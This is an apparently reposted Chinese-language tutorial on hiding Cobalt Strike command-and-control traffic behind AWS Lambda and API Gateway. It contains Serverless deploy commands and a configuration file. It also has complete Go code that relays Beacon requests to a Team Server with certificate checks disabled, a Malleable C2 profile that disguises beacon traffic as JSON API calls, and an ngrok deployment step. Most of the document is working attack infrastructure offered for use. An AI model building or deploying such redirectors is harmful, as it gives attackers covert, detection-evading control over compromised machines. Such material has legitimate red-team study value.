此前有文章讲述了如何利用 Cloudflare Workers 来隐藏 C&C 流量,本文将通过 AWS Lambda 来实现类似的功能。
与 Cloudflare Workers 类似,AWS Lambda 允许将事件驱动的自有代码部署到 AWS 上。代码功能由指定的动作触发,例如将文件上传到 S3、接收 SMS 消息、接收 HTTP 请求等。负责执行代码逻辑的基础设施都被抽象化了,不需要像原来一样从底层配置 EC2 实例即可正常工作。Lambda 还支持多种语言的开发,从 Python 和 NodeJS 到最近大火的 Go 语言,AWS Lambda 都支持,本文采用 Go 进行解释。为了进一步提高便利性,使用 Serverless 框架提高效率。
Serverless - AWS Lambda
brew install serverless
serverless create -t aws-go
make
sls deploy
执行后,可以看到以下内容:
通过提供的 URL 地址发起 HTTP 请求,以确保新创建的 Lambda 函数能够按预期进行响应:
Serverless 代理
从整体上看我们的基础设施架构如下所示,我们利用了 AWS Lambda 和 AWS API Gateway 两个组件:
配置文件 serverless.yml 如下所示:
service: lambda-front
frameworkVersion: ">=1.28.0 <2.0.0"
provider:
name: aws
runtime: go1.x
stage: api
region: eu-west-2
environment:
TEAMSERVER: ${opt:teamserver}
package:
exclude:
- ./**
include:
- ./bin/**
functions:
redirector:
handler: bin/redirector
events:
- http:
path: /{all+}
method: any
Serverless 代码
-
接收从 Beacon 发送的 HTTP 请求 -
根据接收的 HTTP 请求生成一个新 HTTP 请求 -
将 HTTP 请求发送到 Team Server 并接收响应 -
将收到的响应添加到 API 网关响应中 -
转发响应到 Beacon
创建后,我们的代码将如下所示:
package main
import (
"crypto/tls"
"encoding/base64"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"strings"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
)
type Response events.APIGatewayProxyResponse
func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
var url *url.URL
var bodyDecoded []byte
var body []byte
var err error
var outboundHeaders map[string]string
teamserver := os.Getenv("TEAMSERVER")
client := http.Client{}
// 后端服务器设置允许失效 HTTPS 证书
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
// 构建发送给 CS 的请求 URL
url, err = url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)
// 提取解析请求参数
if request.QueryStringParameters != nil {
q := url.Query()
for key, value := range request.QueryStringParameters {
q.Set(key, value)
}
url.RawQuery = q.Encode()
}
// 处理请求体的 base64 编码
if request.IsBase64Encoded {
bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
if err != nil {
log.Fatalf("Error base64 decoding AWS request body: %v", err)
}
} else {
bodyDecoded = []byte(request.Body)
}
// 向 Team Server 发送请求
req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// 为请求添加入站头
for key, value := range request.Headers {
req.Header.Set(key, value)
}
// 将请求转发给 Team Server
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// 解析 Team Server 的响应头
outboundHeaders = map[string]string{}
for key, value := range resp.Header {
outboundHeaders[key] = value[0]
}
// 读取 Team Server 的响应体
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error receiving request from TeamServer")
}
// 将响应转发给 Beacon
return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}
func main() {
lambda.Start(Handler)
}
Malleable 配置
例如,可以使用如下设置配置 GET 请求:
http-get {
set uri "/api/abc";
client {
metadata {
base64url;
netbios;
base64url;
parameter "auth";
}
}
...
http-config {
set trust_x_forwarded_for "true";
}
http-get {
set uri "/api/fetch";
client {
metadata {
base64url;
netbios;
base64url;
parameter "token";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
output {
base64;
prepend "{"version":"2","count":"1","data":"";
append ""}";
print;
}
}
}
http-post {
set uri "/api/telemetry";
set verb "POST";
client {
parameter "action" "GetExtensibilityContext";
header "Content-Type" "application/json; charset=utf-8";
header "Pragma" "no-cache";
id {
parameter "token";
}
output {
mask;
base64;
prepend "{"version":"2","report":"";
append ""}";
print;
}
}
server {
header "api-supported-versions" "2";
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
header "x-beserver" "XPN0LR10CA0006";
output {
base64url;
prepend "{"version":"2","count":"1","data":"";
append ""}";
print;
}
}
运行测试
将一切都准备好之后,就可以开始运行了。本地测试通常会使用 ngrok 作为本地 Web 服务器,非常适合为 Lambda 函数作为内部 Team Server。
ngrok http 443
sls deploy --teamserver d27658bf.ngrok.io
原文与相关链接
XPNSec https://blog.xpnsec.com/aws-lambda-redirector/
原文始发于微信公众号(威胁棱镜):使用 AWS Lambda 隐藏 C&C 流量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论